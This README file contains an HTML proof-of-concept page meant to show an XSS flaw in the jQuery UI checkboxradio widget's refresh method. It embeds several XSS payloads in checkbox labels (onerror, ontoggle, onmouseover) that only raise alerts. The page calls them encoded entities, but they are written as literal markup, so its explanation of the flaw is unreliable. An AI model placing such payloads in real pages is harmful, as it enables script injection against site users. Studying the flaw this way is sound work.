README.md
Rendering markdown...
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>jQuery UI Checkboxradio Widget Refresh Vulnerability Demo</title>
<!-- jQuery and jQuery UI libraries -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script src="https://code.jquery.com/ui/1.13.0/jquery-ui.min.js"></script>
<link rel="stylesheet" href="https://code.jquery.com/ui/1.13.0/themes/ui-lightness/jquery-ui.css">
<style>
* {
box-sizing: border-box;
margin: 0;
padding: 0;
}
body {
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
min-height: 100vh;
padding: 20px;
line-height: 1.6;
}
.container {
max-width: 700px;
margin: 0 auto;
background: rgba(255, 255, 255, 0.95);
padding: 40px;
border-radius: 15px;
box-shadow: 0 20px 40px rgba(0, 0, 0, 0.1);
backdrop-filter: blur(10px);
}
.header {
text-align: center;
margin-bottom: 40px;
padding-bottom: 20px;
border-bottom: 2px solid #eee;
}
.title {
color: #333;
font-size: 2.2em;
margin-bottom: 10px;
font-weight: 300;
}
.subtitle {
color: #666;
font-size: 1.1em;
font-style: italic;
}
.vulnerability-warning {
background: #fff3cd;
border: 2px solid #ffeaa7;
border-radius: 8px;
padding: 20px;
margin-bottom: 30px;
color: #856404;
}
.vulnerability-warning h3 {
color: #d63031;
margin-bottom: 10px;
}
.survey-section {
margin-bottom: 30px;
padding: 25px;
background: #f8f9fa;
border-radius: 10px;
border-left: 4px solid #667eea;
}
.question-title {
font-size: 1.3em;
color: #333;
margin-bottom: 20px;
font-weight: 500;
}
.checkbox-options {
display: flex;
flex-direction: column;
gap: 15px;
}
.checkbox-wrapper {
display: flex;
align-items: center;
padding: 15px;
background: white;
border: 2px solid #e0e0e0;
border-radius: 8px;
transition: all 0.3s ease;
cursor: pointer;
}
.checkbox-wrapper:hover {
background: #f0f4ff;
border-color: #667eea;
transform: translateX(3px);
}
.checkbox-wrapper.checked {
background: #e8f2ff;
border-color: #667eea;
box-shadow: 0 2px 8px rgba(102, 126, 234, 0.2);
}
.checkbox-wrapper input[type="checkbox"] {
margin-right: 15px;
transform: scale(1.2);
}
.checkbox-wrapper label {
font-size: 1em;
color: #444;
cursor: pointer;
flex: 1;
line-height: 1.4;
}
.controls {
display: flex;
gap: 15px;
justify-content: center;
margin: 30px 0;
flex-wrap: wrap;
}
.btn {
padding: 12px 25px;
font-size: 1em;
border: none;
border-radius: 25px;
cursor: pointer;
transition: all 0.3s ease;
font-weight: 500;
min-width: 140px;
}
.btn-refresh {
background: #dc3545;
color: white;
}
.btn-refresh:hover {
background: #c82333;
transform: translateY(-2px);
box-shadow: 0 5px 15px rgba(220, 53, 69, 0.3);
}
.btn-reset {
background: #6c757d;
color: white;
}
.btn-reset:hover {
background: #5a6268;
transform: translateY(-2px);
}
@media (max-width: 768px) {
.container {
padding: 20px;
margin: 10px;
}
.controls {
flex-direction: column;
align-items: center;
}
.btn {
width: 100%;
max-width: 300px;
}
}
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1 class="title">jQuery UI Widget Vulnerability Demo</h1>
<p class="subtitle">Checkboxradio Widget Refresh HTML Entity Decoding Issue</p>
</div>
<div class="vulnerability-warning">
<h3>⚠️ Security Vulnerability Demonstration</h3>
<p><strong>Issue:</strong> When a checkboxradio widget is initialized on an input within a label, calling <code>.checkboxradio("refresh")</code> causes HTML entities in the label to be erroneously decoded, potentially leading to XSS vulnerabilities.</p>
<p><strong>Affected:</strong> jQuery UI checkboxradio widget when used with encoded HTML entities in labels.</p>
</div>
<div class="survey-section">
<h3 class="question-title">Select your preferred security research areas:</h3>
<div class="checkbox-options">
<!-- Safe option with no encoded entities -->
<div class="checkbox-wrapper">
<input type="checkbox" id="safe-option" name="research" value="safe">
<label for="safe-option">Web Application Security (Safe)</label>
</div>
<!-- Vulnerable option with encoded HTML entities that contain XSS payload -->
<div class="checkbox-wrapper">
<input type="checkbox" id="vulnerable-option" name="research" value="network">
<label for="vulnerable-option">Network Security Research <img src=x onerror="console.log('XSS via widget refresh!'); alert('Network Security XSS executed!');"></label>
</div>
<!-- Another vulnerable option with details onToggle XSS -->
<div class="checkbox-wrapper">
<input type="checkbox" id="another-vuln" name="research" value="mobile">
<label for="another-vuln">Mobile Security <details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details></label>
</div>
<!-- Option with mouseover event XSS -->
<div class="checkbox-wrapper">
<input type="checkbox" id="encoded-hover" name="research" value="cloud">
<label for="encoded-hover">Cloud Security <span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span></label>
</div>
</div>
</div>
<div class="controls">
<button id="refresh-widgets" class="btn btn-refresh">🔄 Refresh Widgets (Trigger Vulnerability)</button>
<button id="reset-form" class="btn btn-reset">Reset Form</button>
</div>
</div>
<script>
let refreshCount = 0;
$(document).ready(function() {
console.log("=== jQuery UI Vulnerability Demo Initialized ===");
console.log("jQuery version:", $.fn.jquery);
console.log("jQuery UI version:", $.ui ? $.ui.version : "Not loaded");
// Initialize all checkbox widgets
initializeWidgets();
// Button event handlers
$('#refresh-widgets').on('click', function() {
console.log("=== Manual Widget Refresh Triggered ===");
refreshAllWidgets();
});
$('#reset-form').on('click', function() {
resetForm();
});
// Checkbox change handlers for visual feedback
$('input[type="checkbox"]').on('change', function() {
const wrapper = $(this).closest('.checkbox-wrapper');
if (this.checked) {
wrapper.addClass('checked');
console.log("Checkbox checked:", $(this).val());
} else {
wrapper.removeClass('checked');
console.log("Checkbox unchecked:", $(this).val());
}
});
console.log("=== Demo ready! Click 'Refresh Widgets' to see the vulnerability ===");
});
function initializeWidgets() {
console.log("Initializing checkboxradio widgets...");
$('input[type="checkbox"]').each(function(index) {
$(this).checkboxradio({
icon: false
});
console.log(`Widget ${index + 1} initialized:`, this.id);
});
const widgetCount = $('input[type="checkbox"]').length;
console.log(`Total widgets initialized: ${widgetCount}`);
}
function refreshAllWidgets() {
refreshCount++;
console.log(`=== Widget Refresh #${refreshCount} ===`);
// Perform the refresh that triggers the vulnerability
$('input[type="checkbox"]').each(function(index) {
console.log(`Refreshing widget ${index + 1} (${this.id})...`);
// This is the vulnerable operation
$(this).checkboxradio("refresh");
console.log(`Widget ${index + 1} refreshed - XSS should execute now!`);
});
console.log("=== Widget refresh completed - check for XSS execution ===");
}
function resetForm() {
console.log("=== Form Reset ===");
// Reset form
$('form')[0] ? $('form')[0].reset() : $('input[type="checkbox"]').prop('checked', false);
// Remove visual feedback
$('.checkbox-wrapper').removeClass('checked');
// Refresh widgets to update display
setTimeout(function() {
$('input[type="checkbox"]').checkboxradio('refresh');
console.log('Form reset completed');
refreshCount = 0;
}, 10);
}
// Additional debugging information
window.addEventListener('load', function() {
console.log("=== Page Load Complete ===");
console.log("Ready to demonstrate jQuery UI checkboxradio refresh vulnerability");
console.log("Instructions:");
console.log("1. Click 'Refresh Widgets' to trigger the vulnerability");
console.log("2. Watch for XSS alert popups (Network & Mobile Security)");
console.log("3. Hover over '[Hover to trigger]' text for Cloud Security XSS");
});
</script>
</body>
</html>